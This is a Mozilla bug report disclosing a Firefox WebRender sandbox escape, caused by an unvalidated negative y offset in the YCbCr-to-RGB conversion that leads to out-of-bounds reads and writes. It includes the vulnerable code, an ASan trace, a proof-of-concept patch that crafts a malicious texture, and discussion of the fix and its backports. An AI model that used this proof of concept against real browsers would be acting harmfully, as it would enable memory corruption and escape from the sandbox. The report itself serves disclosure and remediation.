OOBW/R due to invalid yuv conversion (sandbox escape)
Categories
(Core :: Graphics: WebRender, defect, P2)
Tracking
()
People
(Reporter: oskarlindberg348, Assigned: bradwerth)
References
Details
(4 keywords, Whiteboard: [only affects some hardware][client-bounty-form][adv-main148+][adv-esr115.33+] [adv-esr140.8+])
Attachments
(4 external files)
Writeup follows
Background
Webrender api is used internally for rendering.
As part of the rendering chain, we can create textures hosted on the compositor via
ContentCompositorBridgeParent::AllocPTextureParent.
One of the textures which can be hosted is a YCB texture backed by shmem.
Vulnerabilities
When a texture is used in on some of webrender operations (like ``)
BufferTextureHost::GetAsSurface is called to extract a data suface,
this will call `ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor`, that converts the YCB to a RGB surface:
already_AddRefed<DataSourceSurface> DataSourceSurfaceFromYCbCrDescriptor(
uint8_t* aBuffer, const YCbCrDescriptor& aDescriptor,
gfx::DataSourceSurface* aSurface) {
const gfx::IntRect display = aDescriptor.display();
const gfx::IntSize size = display.Size();
RefPtr<DataSourceSurface> result;
if (aSurface) {
MOZ_ASSERT(aSurface->GetSize() == size);
MOZ_ASSERT(aSurface->GetFormat() == gfx::SurfaceFormat::B8G8R8X8);
if (aSurface->GetSize() == size &&
aSurface->GetFormat() == gfx::SurfaceFormat::B8G8R8X8) {
result = aSurface;
}
}
if (!result) {
result =
Factory::CreateDataSourceSurface(size, gfx::SurfaceFormat::B8G8R8X8);
}
if (NS_WARN_IF(!result)) {
return nullptr;
}
DataSourceSurface::MappedSurface map;
if (NS_WARN_IF(!result->Map(DataSourceSurface::MapType::WRITE, &map))) {
return nullptr;
}
layers::PlanarYCbCrData ycbcrData;
ycbcrData.mYChannel = GetYChannel(aBuffer, aDescriptor);
ycbcrData.mYStride = aDescriptor.yStride();
ycbcrData.mCbChannel = GetCbChannel(aBuffer, aDescriptor);
ycbcrData.mCrChannel = GetCrChannel(aBuffer, aDescriptor);
ycbcrData.mCbCrStride = aDescriptor.cbCrStride();
ycbcrData.mPictureRect = aDescriptor.display();
ycbcrData.mYUVColorSpace = aDescriptor.yUVColorSpace();
ycbcrData.mColorDepth = aDescriptor.colorDepth();
ycbcrData.mChromaSubsampling = aDescriptor.chromaSubsampling();
if (NS_WARN_IF(NS_FAILED(
gfx::ConvertYCbCrToRGB(ycbcrData, gfx::SurfaceFormat::B8G8R8X8, size,
map.mData, map.mStride)))) {
MOZ_ASSERT_UNREACHABLE("Failed to convert YUV into RGB data");
return nullptr;
}
result->Unmap();
return result.forget();
}
The conversion is done only on the display rect (as specified by the descriptor initialised display.Size();)
in ConvertYCbCrToRGB->ConvertYCbCrToRGB->ConvertYCbCrToRGB32, the actual conversion calls internals yuvlib functions that does the conversion based on cpu hw parameters.
in the case of ConvertYCbCrToRGB32_deprecated, which happens on either non-sse3 hw, or under gfx.ycbcr.accurate-conversion configuration:
nsresult
ConvertYCbCrToRGB32_deprecated(const uint8_t* y_buf,
const uint8_t* u_buf,
const uint8_t* v_buf,
uint8_t* rgb_buf,
int pic_x,
int pic_y,
int pic_width,
int pic_height,
int y_pitch,
int uv_pitch,
int rgb_pitch,
YUVType yuv_type,
RGB32Type rgb32_type) {
unsigned int y_shift = yuv_type == YV12 ? 1 : 0;
unsigned int x_shift = yuv_type == YV24 ? 0 : 1;
// Test for SSE because the optimized code uses movntq, which is not part of MMX.
bool has_sse = supports_mmx() && supports_sse();
// There is no optimized YV24 SSE routine so we check for this and
// fall back to the C code.
has_sse &= yuv_type != YV24;
bool odd_pic_x = yuv_type != YV24 && pic_x % 2 != 0;
int x_width = odd_pic_x ? pic_width - 1 : pic_width;
bool swap_uv = rgb32_type == RGB32Type::ABGR;
const uint8_t* u_channel = swap_uv? v_buf : u_buf;
const uint8_t* v_channel = swap_uv? u_buf : v_buf;
for (int y = pic_y; y < pic_height + pic_y; ++y) { // [1]
uint8_t* rgb_row = rgb_buf + (y - pic_y) * rgb_pitch; // [2]
const uint8_t* y_ptr = y_buf + y * y_pitch + pic_x;
const uint8_t* u_ptr = u_channel + (y >> y_shift) * uv_pitch + (pic_x >> x_shift);
const uint8_t* v_ptr = v_channel + (y >> y_shift) * uv_pitch + (pic_x >> x_shift);
if (odd_pic_x) {
// Handle the single odd pixel manually and use the
// fast routines for the remaining.
FastConvertYUVToRGB32Row_C(y_ptr++,
u_ptr++,
v_ptr++,
rgb_row,
1,
x_shift); // [3]
rgb_row += 4;
}
if (has_sse) {
FastConvertYUVToRGB32Row(y_ptr,
u_ptr,
v_ptr,
rgb_row,
x_width);
}
else {
FastConvertYUVToRGB32Row_C(y_ptr,
u_ptr,
v_ptr,
rgb_row,
x_width,
x_shift);
}
}
// MMX used for FastConvertYUVToRGB32Row requires emms instruction.
if (has_sse)
EMMS();
return NS_OK;
}
- Height range is initialised based on pic_y, which is the y offset of the display rect which is unvalidated.
- dest pixel address is calculated based on pic_y.
- actual conversion.
we can put a negative pic_y, which yields OOBRW on the src and dst pixels.
Asan report
==79110==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fa50ac09000 at pc 0x7fa5a6b636b4 bp 0x7fa4ee55e240 sp 0x7fa4ee55e238
READ of size 1 at 0x7fa50ac09000 thread T49
#0 0x7fa5a6b636b3 in FastConvertYUVToRGB32Row_C /home/user/Downloads/firefox/gfx/ycbcr/yuv_row_c.cpp:56:18
#1 0x7fa5a6b63032 in mozilla::gfx::ConvertYCbCrToRGB32_deprecated(unsigned char const*, unsigned char const*, unsigned char const*, unsigned char*, int, int, int, int, int, int, int, mozilla::gfx::YUVType, mozilla::gfx::RGB32Type) /home/user/Downloads/firefox/gfx/ycbcr/yuv_convert.cpp:267:7
#2 0x7fa5a6b6261d in mozilla::gfx::ConvertYCbCrToRGB32(unsigned char const*, unsigned char const*, unsigned char const*, unsigned char*, int, int, int, int, int, int, int, mozilla::gfx::YUVType, mozilla::gfx::YUVColorSpace, mozilla::gfx::ColorRange, mozilla::gfx::RGB32Type) /home/user/Downloads/firefox/gfx/ycbcr/yuv_convert.cpp:117:12
#3 0x7fa5a6b5de8c in mozilla::gfx::ConvertYCbCrToRGB(mozilla::layers::PlanarYCbCrData const&, mozilla::gfx::SurfaceFormat const&, unsigned char*, int, mozilla::gfx::YUVType, mozilla::gfx::RGB32Type) /home/user/Downloads/firefox/gfx/ycbcr/YCbCrUtils.cpp:271:10
#4 0x7fa5a6b5de8c in mozilla::gfx::ConvertYCbCrToRGB(mozilla::layers::PlanarYCbCrData const&, mozilla::gfx::SurfaceFormat const&, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, unsigned char*, int) /home/user/Downloads/firefox/gfx/ycbcr/YCbCrUtils.cpp:308:14
#5 0x7fa5a6d17582 in mozilla::layers::ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor(unsigned char*, mozilla::layers::YCbCrDescriptor const&, mozilla::gfx::DataSourceSurface*) /home/user/Downloads/firefox/gfx/layers/ImageDataSerializer.cpp:323:7
#6 0x7fa5a70e9bf0 in mozilla::layers::WebRenderBridgeParent::PushExternalImageForTexture(mozilla::wr::ExternalImageId, mozilla::wr::ImageKey, mozilla::layers::TextureHost*, bool, mozilla::wr::TransactionBuilder&) /home/user/Downloads/firefox/gfx/layers/wr/WebRenderBridgeParent.cpp:841:47
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/Downloads/firefox/gfx/ycbcr/yuv_row_c.cpp:56:18 in FastConvertYUVToRGB32Row_C
Shadow bytes around the buggy address:
0x7fa50ac08d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fa50ac08e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fa50ac08e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fa50ac08f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fa50ac08f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fa50ac09000:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7fa50ac09080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7fa50ac09100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7fa50ac09180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7fa50ac09200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7fa50ac09280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==79110==ABORTING
crashes on read, a write will follow.
Implications
Firefox latest
Reproduction
- Apply the following patch:
diff --git a/gfx/layers/wr/WebRenderCommandBuilder.cpp b/gfx/layers/wr/WebRenderCommandBuilder.cpp
index 1e9947b13c6c..41eaefe651e8 100644
--- a/gfx/layers/wr/WebRenderCommandBuilder.cpp
+++ b/gfx/layers/wr/WebRenderCommandBuilder.cpp
@@ -2299,20 +2299,20 @@ Maybe<wr::ImageKey> WebRenderCommandBuilder::CreateImageKey(
CreateOrRecycleWebRenderUserData<WebRenderImageData>(aItem);
MOZ_ASSERT(imageData);
- if (aContainer->IsAsync()) {
- MOZ_ASSERT(aAsyncImageBounds);
-
- LayoutDeviceRect rect = aAsyncImageBounds.value();
- LayoutDeviceRect scBounds(LayoutDevicePoint(0, 0), rect.Size());
- // TODO!
- // We appear to be using the image bridge for a lot (most/all?) of
- // layers-free image handling and that breaks frame consistency.
- imageData->CreateAsyncImageWebRenderCommands(
- aBuilder, aContainer, aSc, rect, scBounds,
- ToWrRotation(aContainer->GetRotation()), aRendering,
- wr::MixBlendMode::Normal, !aItem->BackfaceIsHidden());
- return Nothing();
- }
+ // if (aContainer->IsAsync()) {
+ // MOZ_ASSERT(aAsyncImageBounds);
+
+ // LayoutDeviceRect rect = aAsyncImageBounds.value();
+ // LayoutDeviceRect scBounds(LayoutDevicePoint(0, 0), rect.Size());
+ // // TODO!
+ // // We appear to be using the image bridge for a lot (most/all?) of
+ // // layers-free image handling and that breaks frame consistency.
+ // imageData->CreateAsyncImageWebRenderCommands(
+ // aBuilder, aContainer, aSc, rect, scBounds,
+ // ToWrRotation(aContainer->GetRotation()), aRendering,
+ // wr::MixBlendMode::Normal, !aItem->BackfaceIsHidden());
+ // return Nothing();
+ // }
AutoLockImage autoLock(aContainer);
if (!autoLock.HasImage()) {
diff --git a/gfx/layers/wr/WebRenderUserData.cpp b/gfx/layers/wr/WebRenderUserData.cpp
index 2bca5feda116..3281ad7b2125 100644
--- a/gfx/layers/wr/WebRenderUserData.cpp
+++ b/gfx/layers/wr/WebRenderUserData.cpp
@@ -6,9 +6,13 @@
#include "WebRenderUserData.h"
+#include "ImageTypes.h"
+#include "mozilla/gfx/Point.h"
+#include "mozilla/gfx/Types.h"
#include "mozilla/image/WebRenderImageProvider.h"
#include "mozilla/layers/AnimationHelper.h"
#include "mozilla/layers/CompositorBridgeChild.h"
+#include "mozilla/layers/CompositorTypes.h"
#include "mozilla/layers/ImageClient.h"
#include "mozilla/layers/WebRenderBridgeChild.h"
#include "mozilla/layers/RenderRootStateManager.h"
@@ -16,6 +20,7 @@
#include "mozilla/layers/IpcResourceUpdateQueue.h"
#include "mozilla/layers/SharedSurfacesChild.h"
#include "mozilla/webgpu/WebGPUChild.h"
+#include "mozilla/webrender/webrender_ffi.h"
#include "nsDisplayListInvalidation.h"
#include "nsIFrame.h"
#include "WebRenderCanvasRenderer.h"
@@ -146,9 +151,23 @@ Maybe<wr::ImageKey> WebRenderImageData::UpdateImageKey(
ImageClientSingle* imageClient = mImageClient->AsImageClientSingle();
uint32_t oldCounter = imageClient->GetLastUpdateGenerationCounter();
- bool ret = imageClient->UpdateImage(aContainer);
+ // bool ret = imageClient->UpdateImage(aContainer);
RefPtr<TextureClient> currentTexture = imageClient->GetForwardedTexture();
- if (!ret || !currentTexture) {
+ const auto aDisplay = gfx::IntRect(0, -100, 0x100, 0x100);
+ const auto aYSize = gfx::IntSize(0x100, 2);
+ const auto aYStride = 0x100;
+ const auto aCbCrSize = gfx::IntSize(2, 2);
+ auto aCbCrStride = 0x2;
+ auto modifiedTexture = TextureClient::CreateForYCbCr(
+ WrBridge(), aDisplay, aYSize, aYStride, aCbCrSize,
+ aCbCrStride, StereoMode::MONO, gfx ::ColorDepth::COLOR_8,
+ gfx::YUVColorSpace::BT601, gfx::ColorRange::LIMITED,
+ gfx::ChromaSubsampling::FULL, TextureFlags::SNAPSHOT);
+
+ currentTexture = modifiedTexture;
+ currentTexture->InitIPDLActor(WrBridge()); // init the actor.
+
+ if (!currentTexture) {
// Delete old key
ClearImageKey();
return Nothing();
@@ -166,7 +185,7 @@ Maybe<wr::ImageKey> WebRenderImageData::UpdateImageKey(
mTextureOfImage->GetSize() == currentTexture->GetSize() &&
mTextureOfImage->GetFormat() == currentTexture->GetFormat();
- wr::MaybeExternalImageId extId = currentTexture->GetExternalImageKey();
+ wr::MaybeExternalImageId extId = Some(wr::ExternalImageId(0x1000));
MOZ_RELEASE_ASSERT(extId.isSome());
if (useUpdate) {
- Host the following
index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>OffscreenCanvas Rectangle</title>
<style>
body {
font-family: 'Arial', sans-serif;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 100vh;
margin: 0;
background-color: #f4f4f9;
}
h1 {
color: #333;
margin-bottom: 20px;
}
canvas {
border: 2px solid #333;
background-color: #fff;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.status {
margin-top: 20px;
font-size: 1.1em;
color: #555;
}
</style>
</head>
<body>
<h1>OffscreenCanvas Example</h1>
<canvas id="main-canvas" width="400" height="300"></canvas>
<div class="status"></div>
<script>
// Get the canvas from the main HTML document.
const canvas = document.getElementById('main-canvas');
const statusDiv = document.querySelector('.status');
// Check if OffscrevenCanvas is supported by the browser.
if ('transferControlToOffscreen' in canvas) {
statusDiv.textContent = 'Transferring canvas control to web worker...';
// Transfer the canvas control to an OffscreenCanvas.
const offscreen = canvas.transferControlToOffscreen();
// Create a web worker from a Blob containing the worker's code.
// This allows us to keep all the code in a single HTML file.
const workerCode = `
self.onmessage = function(event) {
// Receive the OffscreenCanvas object from the main thread.
const offscreenCanvas = event.data.canvas;
// Get the 2D rendering context for the offscreen canvas.
const ctx = offscreenCanvas.getContext('2d');
// All drawing operations happen here, completely off the main thread.
ctx.fillStyle = '#4CAF50'; // Green color
ctx.fillRect(50, 50, 300, 200); // Draw a rectangle
// Send a message back to the main thread to confirm completion.
self.postMessage('Drawing complete!');
};
`;
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const worker = new Worker(URL.createObjectURL(workerBlob));
// Send the OffscreenCanvas to the worker.
// The canvas is "transferred" to the worker's memory space,
// which means it is no longer usable on the main thread.
worker.postMessage({ canvas: offscreen }, [offscreen]);
// Listen for a message from the worker to update the status.
worker.onmessage = function(event) {
statusDiv.textContent = 'Worker finished: ' + event.data;
};
} else {
statusDiv.textContent = 'OffscreenCanvas is not supported in this browser.';
}
</script>
</body>
</html>
Found via manual auditing.
Updated•9 months ago
|
Updated•9 months ago
|
Comment 2•9 months ago
|
||
Apparently we still do support hardware without sse3 (bug 1984610). How many of our users would this potentially affect? I expect the number of users who change the default for gfx.ycbcr.accurate-conversion to be vanishingly small.
| Assignee | ||
Comment 3•9 months ago
|
||
Thank you for the thorough explanation. I'll try to reproduce and if I can, to then build a patch.
| Assignee | ||
Comment 4•9 months ago
|
||
I've applied the patch and tried the test file, but I can't reproduce. I'll attempt to build a patch based on the crash stack and the explanation of the vulnerability. Hopefully the fix can be tried out by the reporter or somebody else who can reproduce.
(In reply to Brad Werth [:bradwerth] from comment #4)
I've applied the patch and tried the test file, but I can't reproduce. I'll attempt to build a patch based on the crash stack and the explanation of the vulnerability. Hopefully the fix can be tried out by the reporter or somebody else who can reproduce.
assuming you have sse3, did you enable gfx.ycbcr.accurate-conversion?
| Assignee | ||
Comment 6•9 months ago
|
||
| Assignee | ||
Comment 7•9 months ago
|
||
Comment on attachment 9540767 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Easy to spot the problem with negative parameters. Unclear how easy it would be to create web content that would generate a negative DisplayRect in Gecko.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: Easy to create
- How likely is this patch to cause regressions; how much testing does it need?: Very unlikely, because it's unlikely that web content is capable of generating negative parameters to this function.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•9 months ago
|
Comment 8•9 months ago
|
||
Unclear how easy it would be to create web content that would generate a negative DisplayRect in Gecko.
We probably do prevent things like that when processing web content, but bug reports like this presume a separate RCE bug in the sandboxed child process. The payload of that RCE would use this bug to escape the sandbox to deploy the final exploit.
Comment 9•9 months ago
|
||
Comment on attachment 9540767 [details]
(secure)
sec-approval+, a=dveditz
Comment 10•9 months ago
|
||
Comment 11•9 months ago
|
||
Comment 12•9 months ago
|
||
The patch landed in nightly and beta is affected.
:bradwerth, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox148towontfix.
For more information, please visit BugBot documentation.
Comment 13•9 months ago
|
||
Adding to comment 12, it applies cleanly to ESR140, but it needs a rebased patch for ESR115 uplift.
Comment 14•9 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Security issue. Compromised content processes could send bad texture conversion requests to parent process, leading to reads of arbitrary memory.
- Code covered by automated testing: no
- Fix verified in Nightly: no
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Rejects some unsafe requests, using existing rejection mechanism.
- String changes made/needed: none
- Is Android affected?: yes
| Assignee | ||
Comment 15•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D280853
Updated•9 months ago
|
Updated•9 months ago
|
Comment 16•9 months ago
|
||
| uplift | ||
Comment 17•9 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined: Security issue. Compromised content processes could send bad texture conversion requests to parent process, leading to reads of arbitrary memory.
- Code covered by automated testing: no
- Fix verified in Nightly: no
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Rejects some unsafe requests, using existing rejection mechanism.
- String changes made/needed: none
- Is Android affected?: yes
| Assignee | ||
Comment 18•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D280853
Comment 19•9 months ago
|
||
firefox-esr115 Uplift Approval Request
- User impact if declined: Security issue. Compromised content processes could send bad texture conversion requests to parent process, leading to reads of arbitrary memory.
- Code covered by automated testing: no
- Fix verified in Nightly: no
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Rejects some unsafe requests, using existing rejection mechanism.
- String changes made/needed: none
- Is Android affected?: yes
| Assignee | ||
Comment 20•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D280853
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Comment 21•9 months ago
|
||
| uplift | ||
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Comment 22•9 months ago
|
||
| uplift | ||
Comment 23•9 months ago
|
||
| uplift | ||
Updated•9 months ago
|
Comment 24•9 months ago
|
||
Backed out of ESR115 for causing build failures
Example Failures
:bradwerth, Bug 1907121 is not in ESR115, so it might explain the failures?
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Comment 25•9 months ago
|
||
| uplift | ||
Updated•9 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Updated•8 months ago
|
Updated•5 months ago
|
Description
•